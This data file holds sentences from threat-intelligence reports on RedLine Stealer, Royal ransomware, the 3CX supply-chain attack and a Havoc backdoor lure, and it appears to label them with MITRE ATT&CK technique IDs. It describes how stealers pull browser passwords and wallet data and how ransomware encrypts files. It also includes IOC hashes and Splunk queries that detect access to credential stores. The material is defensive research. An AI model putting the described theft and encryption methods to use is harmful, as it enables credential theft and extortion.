{"sentence": "Function name (renamed) Description func_GetHostSerialNumber() Retrieve the user domain name, username and host serial number (without “-”) and convert it into a MD5 hash func_GetExecutingAssembly() Get the full file path of its running malware sample func_GetLanguageTimeZoneOsVersion() Retrieves system default language, timezone and OS version func_GetUserName() Get the user name of the compromised host func_GetProcessor() Get processor information of the compromised host by executing \"SELECT * FROM Win32_Processor\" func_GetGraphicCards() Get AdapterRAM and Graphic Card Name and type by executing \"root\\\\CIMV2\", \"SELECT *", "labels": ["T1033", "T1082"], "doc_title": "Do Not Cross The RedLine Stealer Detections and Analysis"}
{"sentence": "FROM Win32_VideoController\" func_GetBrowsers() Parse browser application and browser version installed in the compromised host by querying \"SOFTWARE\\WOW6432Node\\Clients\\StartMenuInternet\" or \"SOFTWARE\\Clients\\StartMenuInternet\" registry func_GetTotalRAM() Get the total RAM size of compromised host by executing \"SELECT * FROM Win32_OperatingSystem\" and look for \"TotalVisibleMemorySize\" func_ListPrograms() Parse all installed application in the compromised host by querying 'SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall' registry func_GetFirewalls() Parse firewall and Anti Virus Product install in the compromised host by running \"SELECT * FROM ROOT\\\\SecurityCenter2\" \"SELECT * FROM ROOT\\\\SecurityCenter\" \"SELECT *", "labels": ["T1012", "T1082", "T1518.001"], "doc_title": "Do Not Cross The RedLine Stealer Detections and Analysis"}
{"sentence": "FROM AntivirusProduct\" \"SELECT *", "labels": ["T1518.001"], "doc_title": "Do Not Cross The RedLine Stealer Detections and Analysis"}
{"sentence": "FROM FirewallProduct\" \"SELECT * FROM AntiSpyWareProduct\" func_ListProcesses() Retrieve process list and process information by running 'SELECT *", "labels": ["T1057", "T1518.001"], "doc_title": "Do Not Cross The RedLine Stealer Detections and Analysis"}
{"sentence": "In Figure 9 above, the function we’ve renamed as func_ScanScreen() is the one responsible for this screen capture capability.", "labels": ["T1113"], "doc_title": "Do Not Cross The RedLine Stealer Detections and Analysis"}
{"sentence": "Figure 9 Cracking Browser Password One of the powerful capabilities of this Trojan Stealer is cracking browser sensitive information like passwords, cookies, autofill and credit card information saved within the browser application.", "labels": ["T1110"], "doc_title": "Do Not Cross The RedLine Stealer Detections and Analysis"}
{"sentence": "Figure 10 shows a simple diagram of how RedLine Stealer was able to decrypt the password saved in the chrome browser.", "labels": [], "doc_title": "Do Not Cross The RedLine Stealer Detections and Analysis"}
{"sentence": "It starts by locating and copying two specific file of Chrome profiles namely as “%userprofile%\\Appdata\\Local\\Google\\Chrome\\User data\\Local State” and “%userprofile%\\Appdata\\Local\\Google\\Chrome\\User data\\Default\\Login Data” in the%temp% folder.", "labels": [], "doc_title": "Do Not Cross The RedLine Stealer Detections and Analysis"}
{"sentence": "Afterward it will read the copied “Local State” file to grab the encoded and encrypted master key to decrypt the password stored in the “Login Data”.", "labels": ["T1027", "T1140"], "doc_title": "Do Not Cross The RedLine Stealer Detections and Analysis"}
{"sentence": "The decrypted password will be sent to its C2 Server as part of its data exfiltration.", "labels": ["T1041", "T1140"], "doc_title": "Do Not Cross The RedLine Stealer Detections and Analysis"}
{"sentence": "This malware can also steal wallet files by scanning Chrome wallet browser extensions.", "labels": [], "doc_title": "Do Not Cross The RedLine Stealer Detections and Analysis"}
{"sentence": "Figure 11 shows the RedLine Stealer code and how it enumerates several known Crypto Wallet directories and looks for files related to crypto currencies by looking for files having “wallet” substring on its file name.", "labels": ["T1083"], "doc_title": "Do Not Cross The RedLine Stealer Detections and Analysis"}
{"sentence": "Figure 11 The table below shows some of the targeted Chrome browser extensions that RedLine Stealer tries to parse to look for Crypto Wallets.", "labels": [], "doc_title": "Do Not Cross The RedLine Stealer Detections and Analysis"}
{"sentence": "These extensions are popular among cryptocurrency users and are used to manage and store their cryptocurrency wallets' sensitive information.", "labels": [], "doc_title": "Do Not Cross The RedLine Stealer Detections and Analysis"}
{"sentence": "Chrome Browser Extension Identification Chrome Extension ibnejdfjmmkpcnlpebklmnkoeoihofec Tronlink jbdaocneiiinmjbjlgalhcelgbejmnid NiftyWallet nkbihfbeogaeaoehlefnkodbefgpgknn Metamask afbcbjpbpfadlkmhmclhkeeodmamcflc MathWallet hnfanknocfeofbddgcijnmhnfnkdnaad Coinbase fhbohimaelbohpjbbldcngcnapndodjp BinanceChain odbfpeeihdkbihmopkbjmoonfanlbfcl BraveWallet hpglfhgfnhbgpjdenjgmdgoeiappafln GuardaWallet blnieiiffboillknjnepogjhkgnoapac EqualWallet cjelfplplebdjjenllpjcblmjkfcffne JaxxxLiberty fihkakfobkmkjojpchpfgcmhfjnmnfpi BitAppWallet kncchdigobghenbbaddojjnnaogfppfj iWallet amkmjjmmflddogmhpjloimipbofnfjih Wombat ffnbelfdoeiohenkjibnmadjiehjhajb YoroiWallet fhilaheimglignddkjgofkcbgekhenbh AtomicWallet nlbmnnijcnlegkjjpcfjclmcfggfefdm MewCx nanjmdknhkinifnkgdcggcfnhdaammmj GuildWallet nkddgncdjgjfcddamfgcmfnlhccnimig SaturnWallet fnjhmkhhmkbjkkabndcnnogagogbneec RoninWallet RedLine Stealer can also retrieve information related to the following: VPN (Nord, OpenVPN, ProtonVPN) profiles FileZilla credentials Discord, Telegram and Steam Token Information IOCs Hash (SHA256)", "labels": [], "doc_title": "Do Not Cross The RedLine Stealer Detections and Analysis"}
{"sentence": "For this release, we used and considered the relevant data endpoint telemetry sources such as: Process Execution & Command Line Logging Windows Security Event ID 4663, Sysmon, or any Common Information Model compliant EDR technology Windows Security Event Log Windows System Event Log Windows PowerShell Script Block Logging", "labels": [], "doc_title": "Do Not Cross The RedLine Stealer Detections and Analysis"}
{"sentence": "We maximized the usage of Windows Security EventCode 4663 for this analytic story.", "labels": [], "doc_title": "Do Not Cross The RedLine Stealer Detections and Analysis"}
{"sentence": "An event that is logged whenever an attempt is made to access an object (such as files, registry or directories) in the Windows file system.", "labels": [], "doc_title": "Do Not Cross The RedLine Stealer Detections and Analysis"}
{"sentence": "This EventCode can be helpful to monitor suspicious processes accessing critical files or folders like browser databases for credential dumping and data collection.", "labels": [], "doc_title": "Do Not Cross The RedLine Stealer Detections and Analysis"}
{"sentence": "As an example, we used this event to develop the analytic “Windows Query Registry UnInstall Program List'' that monitors suspicious processes accessing “uninstall registry”.", "labels": [], "doc_title": "Do Not Cross The RedLine Stealer Detections and Analysis"}
{"sentence": "This registry is being abused by several malware and APT to list all installed applications in the compromised or targeted host.", "labels": [], "doc_title": "Do Not Cross The RedLine Stealer Detections and Analysis"}
{"sentence": "`wineventlog_security` EventCode=4663 object_file_path=\"\\\\REGISTRY\\\\MACHINE\\\\SOFTWARE\\\\WOW6432Node\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Uninstall\\\\*\" | stats count min(_time) as firstTime max(_time) as lastTime by object_file_name object_file_path process_name", "labels": [], "doc_title": "Do Not Cross The RedLine Stealer Detections and Analysis"}
{"sentence": "process_path process_id EventCode dest | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` Figure 12 Another analytic “Windows Credentials from Password Stores Chrome Login Data Access” detects suspicious non-Chrome processes accessing the “Login Data” database file of Chrome.", "labels": [], "doc_title": "Do Not Cross The RedLine Stealer Detections and Analysis"}
{"sentence": "Figure 13 shows how this analytic detects the simulated behavior of RedLine Stealer, in Python script, in cracking browser sensitive information.", "labels": [], "doc_title": "Do Not Cross The RedLine Stealer Detections and Analysis"}
{"sentence": "`wineventlog_security` EventCode=4663 object_file_path=\"*\\\\AppData\\\\Local\\\\Google\\\\Chrome\\\\User Data\\\\Default\\\\Login Data\" AND NOT (process_path IN (\"*:\\\\Windows\\\\explorer.exe\", \"*:\\\\Windows\\\\System32\\\\dllhost.exe\", \"*\\\\chrome.exe\"))", "labels": [], "doc_title": "Do Not Cross The RedLine Stealer Detections and Analysis"}
{"sentence": "| stats count min(_time) as firstTime max(_time) as lastTime by object_file_name object_file_path process_name", "labels": [], "doc_title": "Do Not Cross The RedLine Stealer Detections and Analysis"}
{"sentence": "process_path process_id EventCode dest | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` Figure 13 Overall, the RedLine Stealer analytic story introduces 25 detections across MITRE ATT&CK techniques.", "labels": [], "doc_title": "Do Not Cross The RedLine Stealer Detections and Analysis"}
{"sentence": "Automated Playbooks All of the detections associated with this analytic story create entries in the Splunk Enterprise Security risk index by default and can be used seamlessly with risk notables and the Risk Notable Playbook Pack.", "labels": [], "doc_title": "Do Not Cross The RedLine Stealer Detections and Analysis"}
{"sentence": "Additionally, the Automated Enrichment playbook pack would also work well with the output of any of these analytics.", "labels": [], "doc_title": "Do Not Cross The RedLine Stealer Detections and Analysis"}
{"sentence": "Identifier Reputation Analysis Dispatch Detects available indicators and routes them to indicator reputation analysis playbooks.", "labels": [], "doc_title": "Do Not Cross The RedLine Stealer Detections and Analysis"}
{"sentence": "The output of the analysis will update any artifacts, tasks, and indicator tags.", "labels": [], "doc_title": "Do Not Cross The RedLine Stealer Detections and Analysis"}
{"sentence": "Attribute Lookup Dispatch Detects available entities and routes them to attribute lookup playbooks.", "labels": [], "doc_title": "Do Not Cross The RedLine Stealer Detections and Analysis"}
{"sentence": "The output of the playbooks will create new artifacts for any technologies that return information.", "labels": [], "doc_title": "Do Not Cross The RedLine Stealer Detections and Analysis"}
{"sentence": "Learn More You can find the latest content about security analytic stories on GitHub and in Splunkbase.", "labels": [], "doc_title": "Do Not Cross The RedLine Stealer Detections and Analysis"}
{"sentence": "Splunk Security Essentials also has all these detections available via push update.", "labels": [], "doc_title": "Do Not Cross The RedLine Stealer Detections and Analysis"}
{"sentence": "For a full list of security content, check out the release notes on Splunk Docs.", "labels": [], "doc_title": "Do Not Cross The RedLine Stealer Detections and Analysis"}
{"sentence": "Follow these instructions if you need an invitation to our Splunk user groups on Slack.", "labels": [], "doc_title": "Do Not Cross The RedLine Stealer Detections and Analysis"}
{"sentence": "Contributors We would like to thank Teoderick Contreras for authoring this post and the entire Splunk Threat Research Team for their contributions: Michael Haag, Mauricio Velazco, Lou Stella, Bhavin Patel, Rod Soto, Eric McGinnis, and Patrick Bareiss.", "labels": [], "doc_title": "Do Not Cross The RedLine Stealer Detections and Analysis"}
{"sentence": "Conti Team One Splinter Group Resurfaces as Royal Ransomware with Callback Phishing Attacks From September to December, we detected multiple attacks from the Royal ransomware group.", "labels": [], "doc_title": "Conti Team One Splinter Group Resurfaces as Royal Ransomware with Callback Phishing Attacks"}
{"sentence": "In this blog entry, we discuss findings from our investigation of this ransomware and the tools that Royal ransomware actors used to carry out their attacks.", "labels": [], "doc_title": "Conti Team One Splinter Group Resurfaces as Royal Ransomware with Callback Phishing Attacks"}
{"sentence": "This blog entry discusses in depth the findings from our investigation of samples of this new piece of ransomware, as well as the tools that Royal ransomware actors used to carry out their attacks.", "labels": [], "doc_title": "Conti Team One Splinter Group Resurfaces as Royal Ransomware with Callback Phishing Attacks"}
{"sentence": "Percentage of Royal ransomware attacks by country Infection Routine External reports mention that the Royal ransomware group uses callback phishing as a means of delivering their ransomware to victims (Figure 2).", "labels": [], "doc_title": "Conti Team One Splinter Group Resurfaces as Royal Ransomware with Callback Phishing Attacks"}
{"sentence": "Royal ransomware’s attack flow Installation Our investigation found that the ransomware actors used a compiled remote desktop malware, which was used to drop the tools they needed to infiltrate the victim’s system: they used QakBot and Cobalt Strike for lateral movement, while NetScan was used to look for any remote systems connected to the network.", "labels": ["T1021.001"], "doc_title": "Conti Team One Splinter Group Resurfaces as Royal Ransomware with Callback Phishing Attacks"}
{"sentence": "Once they infiltrated the system, the ransomware actors used tools such as PCHunter, PowerTool, GMER, and Process Hacker to disable any security-related services running in the system.", "labels": ["T1562.001"], "doc_title": "Conti Team One Splinter Group Resurfaces as Royal Ransomware with Callback Phishing Attacks"}
{"sentence": "They then exfiltrate the victim’s data via the RClone tool.", "labels": [], "doc_title": "Conti Team One Splinter Group Resurfaces as Royal Ransomware with Callback Phishing Attacks"}
{"sentence": "Payload Once everything has been set up, the ransomware actors used PsEXEC to execute the malware.", "labels": [], "doc_title": "Conti Team One Splinter Group Resurfaces as Royal Ransomware with Callback Phishing Attacks"}
{"sentence": "The PsEXEC commands contain the ID of the victim, along with any argument that the actors applied to the ransomware.", "labels": [], "doc_title": "Conti Team One Splinter Group Resurfaces as Royal Ransomware with Callback Phishing Attacks"}
{"sentence": "There were also instances of the malware actors using PsEXEC to enable the remote desktop protocol (RDP) of a target system before executing the ransomware.", "labels": ["T1021.001"], "doc_title": "Conti Team One Splinter Group Resurfaces as Royal Ransomware with Callback Phishing Attacks"}
{"sentence": "Analysis", "labels": [], "doc_title": "Conti Team One Splinter Group Resurfaces as Royal Ransomware with Callback Phishing Attacks"}
{"sentence": "In part of our analysis, we used a ransomware sample with the detection name Ransom.Win64.YORAL.SMYXCJCT.", "labels": [], "doc_title": "Conti Team One Splinter Group Resurfaces as Royal Ransomware with Callback Phishing Attacks"}
{"sentence": "As shown in Table 1, Figure 3, and Figure 4, Royal ransomware requires an argument of “-id {32-byte characters}” to execute on a victim’s machine.", "labels": [], "doc_title": "Conti Team One Splinter Group Resurfaces as Royal Ransomware with Callback Phishing Attacks"}
{"sentence": "It also accepts “-path” to specify a target file for encryption and “-ep {value}” to calculate the partial file encryption of large files.", "labels": [], "doc_title": "Conti Team One Splinter Group Resurfaces as Royal Ransomware with Callback Phishing Attacks"}
{"sentence": "In some earlier samples of the ransomware, the binary wouldn’t parse all the arguments due to a bug in the code.", "labels": [], "doc_title": "Conti Team One Splinter Group Resurfaces as Royal Ransomware with Callback Phishing Attacks"}
{"sentence": "Argument Description -path {target path} If provided, will only encrypt the contents of the target path -id {32-byte characters} Will be used as the victim’s ID, which will be appended on the TOR link found in the dropped ransom note.", "labels": [], "doc_title": "Conti Team One Splinter Group Resurfaces as Royal Ransomware with Callback Phishing Attacks"}
{"sentence": "The process exists if not provided or if provided characters is not 32 bytes long -ep This argument is for the full or partial encryption of file routine Table 1.", "labels": [], "doc_title": "Conti Team One Splinter Group Resurfaces as Royal Ransomware with Callback Phishing Attacks"}
{"sentence": "Arguments accepted by the Royal ransomware binary Figure 3.", "labels": [], "doc_title": "Conti Team One Splinter Group Resurfaces as Royal Ransomware with Callback Phishing Attacks"}
{"sentence": "Checking if length of provided “-id” is 32 bytes It enumerates files and directories for encryption using FindFirstFileW, FindNextFileW, and FindClose APIs (Figure 5).", "labels": ["T1083", "T1106"], "doc_title": "Conti Team One Splinter Group Resurfaces as Royal Ransomware with Callback Phishing Attacks"}
{"sentence": "File enumeration The ransomware looks for available network shares for network encryption by listing accessible local IPs, then uses NetShareEnum and attempts to connect on ADMIN$ and IPC$ shares (Figure 6).", "labels": ["T1016", "T1083"], "doc_title": "Conti Team One Splinter Group Resurfaces as Royal Ransomware with Callback Phishing Attacks"}
{"sentence": "By doing so, Royal ransomware significantly increases the speed of its file encryption process.", "labels": [], "doc_title": "Conti Team One Splinter Group Resurfaces as Royal Ransomware with Callback Phishing Attacks"}
{"sentence": "Using vssadmin.exe to delete shadow copies The ransomware encrypts files using OpenSSL’s Advanced Encryption Standard (AES).", "labels": [], "doc_title": "Conti Team One Splinter Group Resurfaces as Royal Ransomware with Callback Phishing Attacks"}
{"sentence": "It will encrypt the AES key and IV with RSA encryption using the embedded RSA public key (Figure 9).", "labels": [], "doc_title": "Conti Team One Splinter Group Resurfaces as Royal Ransomware with Callback Phishing Attacks"}
{"sentence": "The RSA-encrypted AES key and IV will be appended on each encrypted file (Figure 10).", "labels": [], "doc_title": "Conti Team One Splinter Group Resurfaces as Royal Ransomware with Callback Phishing Attacks"}
{"sentence": "An RSA public key Figure 10.", "labels": [], "doc_title": "Conti Team One Splinter Group Resurfaces as Royal Ransomware with Callback Phishing Attacks"}
{"sentence": "Generation of AES Key and IV The malicious actors behind Royal ransomware use a form of intermittent encryption tactic to speed their encryption process: the ransomware first checks if the file size is divisible by 16, which is a requirement for AES (Figure 11).", "labels": [], "doc_title": "Conti Team One Splinter Group Resurfaces as Royal Ransomware with Callback Phishing Attacks"}
{"sentence": "For example, if the size is 18, it will append zero bytes to the file until it has a size of 32, which is now divisible by 16.", "labels": [], "doc_title": "Conti Team One Splinter Group Resurfaces as Royal Ransomware with Callback Phishing Attacks"}
{"sentence": "Aside from appending the needed zero bytes, it also appends an extra 0x210 Zero bytes as a placeholder for the appended RSA encrypted key. Figure 11.", "labels": [], "doc_title": "Conti Team One Splinter Group Resurfaces as Royal Ransomware with Callback Phishing Attacks"}
{"sentence": "Royal ransomware checking if file size is divisible by 16", "labels": [], "doc_title": "Conti Team One Splinter Group Resurfaces as Royal Ransomware with Callback Phishing Attacks"}
{"sentence": "If the file size is within these limits, it will encrypt the entire file.", "labels": [], "doc_title": "Conti Team One Splinter Group Resurfaces as Royal Ransomware with Callback Phishing Attacks"}
{"sentence": "For files greater than 5,245,000 bytes, file encryption will take place per certain calculated blocks: for example, it will encrypt first N bytes, then skip the next N bytes, then encrypt the next N bytes, and so on. Figure 12.", "labels": [], "doc_title": "Conti Team One Splinter Group Resurfaces as Royal Ransomware with Callback Phishing Attacks"}
{"sentence": "This value will also be used as indicator if full encryption or partial encryption will be performed on the file For example, with a file with a file size equal to 5,245,000: N = 50/10 * (5245000 / 100) & 0xFFFFFFF0 = 0x40060 (262240)", "labels": [], "doc_title": "Conti Team One Splinter Group Resurfaces as Royal Ransomware with Callback Phishing Attacks"}
{"sentence": "If the calculated N is greater than 1,024,000, it will simply encrypt per 1,024,000 block instead (Figure 13).", "labels": [], "doc_title": "Conti Team One Splinter Group Resurfaces as Royal Ransomware with Callback Phishing Attacks"}
{"sentence": "X value, 0x64 or provided value (usually 0x32), indicator if full or partial encryption 8 bytes Table 2.", "labels": [], "doc_title": "Conti Team One Splinter Group Resurfaces as Royal Ransomware with Callback Phishing Attacks"}
{"sentence": "An encrypted file’s structure The ransomware then renames the encrypted files by appending them with the “.royal” extension, as demonstrated in Figures 14 and 15. Figure 14.", "labels": [], "doc_title": "Conti Team One Splinter Group Resurfaces as Royal Ransomware with Callback Phishing Attacks"}
{"sentence": "Royal ransomware appending “.royal” to encrypted files Figure 15.", "labels": [], "doc_title": "Conti Team One Splinter Group Resurfaces as Royal Ransomware with Callback Phishing Attacks"}
{"sentence": "Creation of the “README.TXT” file Figure 17.", "labels": [], "doc_title": "Conti Team One Splinter Group Resurfaces as Royal Ransomware with Callback Phishing Attacks"}
{"sentence": "Contents of \"README.TXT\" with the sample ID we used appended on the TOR link.", "labels": [], "doc_title": "Conti Team One Splinter Group Resurfaces as Royal Ransomware with Callback Phishing Attacks"}
{"sentence": "Security Recommendations Our investigation into Royal ransomware attacks shows how the group employs a mixture of both old and new techniques, which indicates that it is no newcomer to the ransomware scene.", "labels": [], "doc_title": "Conti Team One Splinter Group Resurfaces as Royal Ransomware with Callback Phishing Attacks"}
{"sentence": "We highly advise users and organizations to update their systems with the latest patches and apply multi-layered defense mechanisms.", "labels": [], "doc_title": "Conti Team One Splinter Group Resurfaces as Royal Ransomware with Callback Phishing Attacks"}
{"sentence": "The emergence and success of the Royal ransomware gang underscore how ransomware actors are finding more innovative ways to repurposing existing tools and tactics as a means of augmenting their attacks.", "labels": [], "doc_title": "Conti Team One Splinter Group Resurfaces as Royal Ransomware with Callback Phishing Attacks"}
{"sentence": "End users and enterprises alike can mitigate the risk of infection from new threats like Royal ransomware by following these security best practices: Enable multifactor authentication (MFA) to prevent attackers from performing lateral movement inside a network.", "labels": [], "doc_title": "Conti Team One Splinter Group Resurfaces as Royal Ransomware with Callback Phishing Attacks"}
{"sentence": "This involves creating three backup copies on two different file formats, with one of the copies stored in a separate location. Patch and update systems regularly.", "labels": [], "doc_title": "Conti Team One Splinter Group Resurfaces as Royal Ransomware with Callback Phishing Attacks"}
{"sentence": "Companies can also benefit from the use of multilayered detection and response solutions such as Trend Micro Vision One:trade_mark:, which provides powerful XDR capabilities that collect and automatically correlate data across multiple security layers — email, endpoints, servers, cloud workloads, and networks — to prevent attacks via automated protection, while also ensuring that no significant incidents go unnoticed.", "labels": [], "doc_title": "Conti Team One Splinter Group Resurfaces as Royal Ransomware with Callback Phishing Attacks"}
{"sentence": "Trend Micro Apex One:trade_mark: also provides next-level automated threat detection and response to protect endpoints against advanced issues, like human-operated ransomware. Indicators of Compromise (IOCs)", "labels": [], "doc_title": "Conti Team One Splinter Group Resurfaces as Royal Ransomware with Callback Phishing Attacks"}
{"sentence": "SHA-256 Detection Description c0063d24f3de4e7b89abf9b690a3d264efc6ab7a626f73ad9f42d6bffe52bce7 Trojan.", "labels": [], "doc_title": "Conti Team One Splinter Group Resurfaces as Royal Ransomware with Callback Phishing Attacks"}
{"sentence": "Win64.COBALT.BE CobaltStrike fef79160f0ce9aa9dec15c914f2c2b40b2ae1ec2b0e65e414545dbc994afd73d Trojan.", "labels": [], "doc_title": "Conti Team One Splinter Group Resurfaces as Royal Ransomware with Callback Phishing Attacks"}
{"sentence": "Win64.COBALT.BE CobaltStrike 3434271f2038afaddad4caad8000e390b3573b2b53e02841653a4ee0dfd73674 Trojan.", "labels": [], "doc_title": "Conti Team One Splinter Group Resurfaces as Royal Ransomware with Callback Phishing Attacks"}
{"sentence": "Win64.COBALT.BE CobaltStrike 0ac0b3758359855e96367b6c83b0aabdc6cfb59b4caa1cec48632defd21cdf3c Trojan.", "labels": [], "doc_title": "Conti Team One Splinter Group Resurfaces as Royal Ransomware with Callback Phishing Attacks"}
{"sentence": "Win64.COBALT.BE CobaltStrike 451cef0085dc5b474cc5c68af079d0367d7d2ec73ae2210788beb5297e1fbd6d Trojan.", "labels": [], "doc_title": "Conti Team One Splinter Group Resurfaces as Royal Ransomware with Callback Phishing Attacks"}
{"sentence": "Win64.COBALT.BE CobaltStrike e710e902507ad63e1d2ce1220212b1a751b70504259457234103bb22845a9424 Trojan.", "labels": [], "doc_title": "Conti Team One Splinter Group Resurfaces as Royal Ransomware with Callback Phishing Attacks"}
{"sentence": "Win32.QAKBOT.DRSV QakBot 2718dcbb503b6334078daf4af61e17a547fb80c9b811c26cfc9d32f5ce63a826 Trojan.", "labels": [], "doc_title": "Conti Team One Splinter Group Resurfaces as Royal Ransomware with Callback Phishing Attacks"}
{"sentence": "Win32.DEYMA.AM Compiled Remote Desktop Malware bd2c2cf0631d881ed382817afcce2b093f4e412ffb170a719e2762f250abfea4 PUA.Win64.ProcHack.", "labels": [], "doc_title": "Conti Team One Splinter Group Resurfaces as Royal Ransomware with Callback Phishing Attacks"}
{"sentence": "AC Process Hacker 572d88c419c6ae75aeb784ceab327d040cb589903d6285bbffa77338111af14b HackTool.Win32.NetScan.", "labels": [], "doc_title": "Conti Team One Splinter Group Resurfaces as Royal Ransomware with Callback Phishing Attacks"}
{"sentence": "AG NetScan 094d1476331d6f693f1d546b53f1c1a42863e6cde014e2ed655f3cbe63e5ecde HackTool.", "labels": [], "doc_title": "Conti Team One Splinter Group Resurfaces as Royal Ransomware with Callback Phishing Attacks"}
{"sentence": "B PCHunter bb48f5c915ab7bbbbbf092a20169aaf3ced46b492ed69550854a55254ce10572 Backdoor.", "labels": [], "doc_title": "Conti Team One Splinter Group Resurfaces as Royal Ransomware with Callback Phishing Attacks"}
{"sentence": "Win32.SWRORT.YXCJ5Z Malware Component e263b9d5467bf724000966da2acfe06520a464c566e4b3d9833213f850f3f1f2 HackTool.", "labels": [], "doc_title": "Conti Team One Splinter Group Resurfaces as Royal Ransomware with Callback Phishing Attacks"}
{"sentence": "Win32.Adfind.", "labels": [], "doc_title": "Conti Team One Splinter Group Resurfaces as Royal Ransomware with Callback Phishing Attacks"}
{"sentence": "BAT.RDPEnable.", "labels": [], "doc_title": "Conti Team One Splinter Group Resurfaces as Royal Ransomware with Callback Phishing Attacks"}
{"sentence": "R06CC0DK222 Royal Ransomware Binary a61b71ee73ea8c0f332591e361adeda04705c65b5f4d549066677ec4e71212f7 Ransom.Win32.YORAL.YXCKB Royal Ransomware Binary 56e8bd8b0c5bfb87956f7915bc47a9ecf5d338b804cee1dccacf53400d602be3 Ransom.Win32.YORAL.YECJYT Royal Ransomware Binary Authors Ivan Nicole Chavez Threat Analyst Byron Gelera Threats Analyst Monte de Jesus Threats Analyst Don Ovid Ladores Threats Analyst Khristian Joseph Morales Threats Analyst", "labels": [], "doc_title": "Conti Team One Splinter Group Resurfaces as Royal Ransomware with Callback Phishing Attacks"}
{"sentence": "Cisco Talos is tracking and actively responding to a supply chain attack involving the 3CX Desktop Softphone application.", "labels": ["T1574.002"], "doc_title": "Threat Advisory 3CX Softphone Supply Chain Compromise"}
{"sentence": "MacOS systems used a different infection chain leveraging a hardcoded C2 domain, as opposed to the GitHub repo.", "labels": [], "doc_title": "Threat Advisory 3CX Softphone Supply Chain Compromise"}
{"sentence": "This is just the latest supply chain attack threatening users, after the SolarWinds incident in 2020 and the REvil ransomware group exploiting Kaseya VSA in 2021.SummaryCisco Talos recently became aware of a supply chain attack affecting Windows and MacOS users of the 3CX software-based phone application.", "labels": [], "doc_title": "Threat Advisory 3CX Softphone Supply Chain Compromise"}
{"sentence": "This attack leveraged the legitimate update functionality of the 3CX application to deliver a set of malicious payloads to 3CX users.", "labels": [], "doc_title": "Threat Advisory 3CX Softphone Supply Chain Compromise"}
{"sentence": "The GitHub repository hosted a series of icon files with encrypted data appended to the end of the files.", "labels": ["T1027"], "doc_title": "Threat Advisory 3CX Softphone Supply Chain Compromise"}
{"sentence": "These encrypted strings, once decrypted, contained the C2 domains for additional malicious artifacts.", "labels": ["T1027", "T1140"], "doc_title": "Threat Advisory 3CX Softphone Supply Chain Compromise"}
{"sentence": "The MacOS version used a hard coded C2 domain.", "labels": ["T1140"], "doc_title": "Threat Advisory 3CX Softphone Supply Chain Compromise"}
{"sentence": "These second-stage payloads are information stealers that attempt to obtain system information and the latest browsing history records, indicating this information may be used as a filtering mechanism to identify and discard some victims while maintaining unauthorized access to others.", "labels": ["T1082"], "doc_title": "Threat Advisory 3CX Softphone Supply Chain Compromise"}
{"sentence": "During our investigation we were able to see file activity dating back to February 3, 2023.", "labels": [], "doc_title": "Threat Advisory 3CX Softphone Supply Chain Compromise"}
{"sentence": "The full scope of the attack is uncertain at this point.", "labels": [], "doc_title": "Threat Advisory 3CX Softphone Supply Chain Compromise"}
{"sentence": "The 3CX website claims to have over 600,000 customers and 12 million daily users.", "labels": [], "doc_title": "Threat Advisory 3CX Softphone Supply Chain Compromise"}
{"sentence": "3CX is currently asking users to use the web app while they work to release an update.", "labels": [], "doc_title": "Threat Advisory 3CX Softphone Supply Chain Compromise"}
{"sentence": "The sbmsa[.]wiki domain was also created on Feb. 9, 2023, which was found to be used by the second stage of the MacOS version.", "labels": [], "doc_title": "Threat Advisory 3CX Softphone Supply Chain Compromise"}
{"sentence": "Cisco Secure Network/Cloud Analytics (Stealthwatch/Stealthwatch Cloud) analyzes network traffic automatically and alerts users of potentially unwanted activity on every connected device.", "labels": [], "doc_title": "Threat Advisory 3CX Softphone Supply Chain Compromise"}
{"sentence": "Talos created the following coverage for this:Snort SIDs:Snort 3: 300480,300481Snort 2: 61550-61553Orbital QueriesCisco Secure Endpoint users can use Orbital Advanced Search to run complex OSqueries to see if their endpoints are infected with this specific threat.", "labels": [], "doc_title": "Threat Advisory 3CX Softphone Supply Chain Compromise"}
{"sentence": "Additionally, the users can access the OSQueries directly on GitHub for both Windows and MacOS.Indicators of Compromise (IOCs)Indicators of compromise (IOCs) associated with ongoing activity can be found here.", "labels": [], "doc_title": "Threat Advisory 3CX Softphone Supply Chain Compromise"}
{"sentence": "Affected platforms: Microsoft WindowsImpacted parties: Targeted Windows usersImpact: Compromised machines are under the control of the threat actorSeverity level: Medium As part of our ongoing research on malware being used in the Russian-Ukrainian conflict, FortiGuard Labs has encountered a malicious spoofed document pretending to be from the Ukrainian company, Energoatom, a state-owned enterprise that operates Ukraine’s nuclear power plants.", "labels": [], "doc_title": "Malware Disguised as Document from Ukraines Energoatom Delivers Havoc Demon Backdoor"}
{"sentence": "Since the war with Russia began, Ukraine’s energy sector has been under constant cyberattack.", "labels": [], "doc_title": "Malware Disguised as Document from Ukraines Energoatom Delivers Havoc Demon Backdoor"}
{"sentence": "For example, in April 2022, an attack deploying INDUSTROYER2 and CADDYWIPER wiper malware targeted energy companies.", "labels": [], "doc_title": "Malware Disguised as Document from Ukraines Energoatom Delivers Havoc Demon Backdoor"}
{"sentence": "Aside from highlighting the technical details of this latest multi-staged attack, which includes several evasion techniques, this article also discusses some strange artifacts that make us think this could be a work-in-progress or part of a red-team exercise.", "labels": [], "doc_title": "Malware Disguised as Document from Ukraines Energoatom Delivers Havoc Demon Backdoor"}
{"sentence": "Document Analysis The macro-enabled document is named “zatverdzhenniy_spisok_osib_na_otrim”, which roughly translates to “approved list of persons to receive” in Ukrainian.", "labels": [], "doc_title": "Malware Disguised as Document from Ukraines Energoatom Delivers Havoc Demon Backdoor"}
{"sentence": "It arrives inside an ISO image archive bearing the same filename.", "labels": [], "doc_title": "Malware Disguised as Document from Ukraines Energoatom Delivers Havoc Demon Backdoor"}
{"sentence": "It was first submitted to VirusTotal in mid-March of this year.", "labels": [], "doc_title": "Malware Disguised as Document from Ukraines Energoatom Delivers Havoc Demon Backdoor"}
{"sentence": "When opened, it displays an image instructing the user to enable Word’s macro code execution to reveal information supposedly protected by M.E. Doc (My Electronic Document).", "labels": [], "doc_title": "Malware Disguised as Document from Ukraines Energoatom Delivers Havoc Demon Backdoor"}
{"sentence": "This popular Ukrainian document management system is used to exchange important and sensitive documents with organizations (including regulatory authorities) in electronic form.", "labels": [], "doc_title": "Malware Disguised as Document from Ukraines Energoatom Delivers Havoc Demon Backdoor"}
